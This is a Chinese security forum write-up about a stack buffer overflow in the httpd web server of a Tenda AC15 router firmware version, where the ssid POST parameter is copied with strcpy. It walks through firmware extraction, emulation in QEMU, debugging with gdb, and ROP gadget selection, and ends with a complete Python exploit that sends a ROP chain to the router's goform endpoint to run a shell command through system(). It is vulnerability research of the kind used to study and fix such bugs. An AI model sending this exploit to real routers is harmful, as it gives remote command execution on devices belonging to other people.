本文为看雪论坛优秀文章
看雪论坛作者ID:五两
漏洞的原因是web服务在处理post请求时,对ssid参数直接复制到栈上的一个局部变量中导致栈溢出。
固件版本:US_AC15V1.0BR_V15.03.05.19_multi_TD01
漏洞分析
binwalk解压固件
漏洞存在在解压出的./squashfs-root/bin目录下httpd文件中,arm小端,开了NX。
ida打开,根据ssid字符串定位到form_fast_setting_wifi_set函数。
程序获取ssid参数后,没有经过检查就直接使用strcpy函数复制到栈变量中。
其中:第一次的strcpy如果要溢出到返回地址,会覆盖第二次的strcpy的参数dest。
为了将src指针覆盖为有效地址,并且不影响第一次的strcpy,选择在libc中选择一个可读地址覆盖src指针。
$ ROPgadget --binary ./libc.so.0 --only "pop" | grep r3
0x00018298 : pop {r3, pc} #gadget1
$ ROPgadget --binary ./libc.so.0 --only "mov|blx"
0x00040cb8 : mov r0, sp ; blx r3 #gadget2
利用过程:
1、溢出后跳到第一个gadget1,控制r3寄存器为system函数地址,第一个pc控制为gadget2。
2、跳转到gadget2后,控制r0为要执行的命令即可。
3、执行system(cmd)。
qemu用户级调试
cp $(which qemu-arm-static) .
sudo chroot ./ ./qemu-arm-static ./bin/httpd
根据字符串定位到程序,发现程序要check网络,用ida将返回值patch为1。
替换原来的httpd,chmod +x 重新启动, 报错。
同理根据字符串定位到程序,将函数返回值patch为1。
发现获取的ip地址不对。
查阅资料得程序是从名为br0得网卡获取地址,在本机建立虚拟网桥br0并重新执行程序。
# 安装配置网络的工具
apt-get install bridge-utils
apt-get install uml-utilities
sudo brctl addbr br0 # 添加一座名为 br0 的网桥
sudo brctl addif br0 eth0 # 在 br0 中添加一个接口
sudo ifconfig br0 up # 启用 br0 接口
sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址
sudo chroot ./ ./qemu-arm-static ./bin/httpd
可以看到获取到的已经是本机的ip地址,程序正常运行。
在函数返回之前,下面代码会导致函数卡住,直接patch if判断条件为假即可。
qemu系统级调试
为了方便调试,我们用qemu系统级来模拟程序。
主机
sudo tunctl -t tap0 # 创建一个 tap0 接口
sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 up # 启用 tap0 接口
sudo ifconfig tap0 192.168.0.100/24 #为tap0分配ip地址
qemu
#启动
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
user:root
password:root
#配置qemu虚拟机网络
ifconfig eth0 192.168.0.76/24
ifconfig
#在主机中将调试好的程序发送至qemu虚拟机
scp -r ./squashfs-root [email protected]:/root
#qemu中运行
mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chroot ./squashfs-root/ sh
brctl addbr br0 #添加br0虚拟网卡
ifconfig br0 192.168.0.76/24 up
#关掉地址随机化
echo 0 > /proc/sys/kernel/randomize_va_space
./bin/httpd
#如果网络不同的话,重启br0和tap0
ifconfig eth0 down
ifconfig br0 down
brctl stp br0 on
brctl setfd br0 2
brctl sethello br0 1
ifconfig br0 0.0.0.0 promisc up
ifconfig eth0 0.0.0.0 promisc up
dhclient br0
ifconfig tap0 down
ifconfig tap0 0.0.0.0 promisc up
ifconfig tap0 192.168.0.100/24 up
虚拟机ping通主机就可以
##将程序调入后台运行
ctrl z
bg
##gdbserver开调试端口
# ps | grep httpd
4075 0 0:05 /bin/httpd
# ./gdbserver :12345 --attach 4075
Attached; pid = 4075
Listening on port 12345
ctrl z
bg
fg %1
#主机用gdb-multiarch调试
gdb-multiarch ./bin/httpd
set architecture arm
set endian little
target remote 192.168.0.76:12345
b *0x0006707C #在strcpy打断点
用exp发送数据包,gdb输入c继续运行,断在第一处strcpy函数处。
由图中可以算出目标地址距返回地址的长度为0x7efffa54-0x7efff9d8=0x7c。
继续运行程序,到第二个strcpy处。
第二处strcpy又对src进行读取,由调试中也可以看到,src在栈上距离栈底长度为28处。即0x1c。构造exp时需要在0x7c-0x1C=0x60后加入一个可读字段的地址。
所以构造exp:
payload = b'a'(0x60) + p32(readable_addr) + b'b'(0x20-8)
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
在返回地址处打断点 b *0x00067758,可以看到栈上返回地址已经被劫持成我们构造的ROP链。
继续运行,可以看到命令成功执行。
exp
import requests
from pwn import *
cmd=b"echo hello"
'''
qemu-system
'''
libc_base = 0x76dab000
dosystemcmd = 0x76f930f0
system = libc_base + 0x5A270
readable_addr = libc_base + 0x64144
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
payload = b'a'*(0x60) + p32(readable_addr) + b'b'*(0x20-8)
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.2.2/goform/fast_setting_wifi_set"
cookie = {"Cookie":"password=12345"}
data = {"ssid": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
看雪ID:五两
https://bbs.pediy.com/user-home-829831.htm
2.5折门票限时抢购
峰会官网:https://meet.kanxue.com/kxmeet-6.htm
# 往期推荐
1.进程 Dump & PE unpacking & IAT 修复 - Windows 篇
2.NtSocket的稳定实现,Client与Server的简单封装,以及SocketAsyncSelect的一种APC实现
3.如何保护自己的代码?给自己的代码添加NoChange属性
球分享
球点赞
球在看
点击“阅读原文”,了解更多!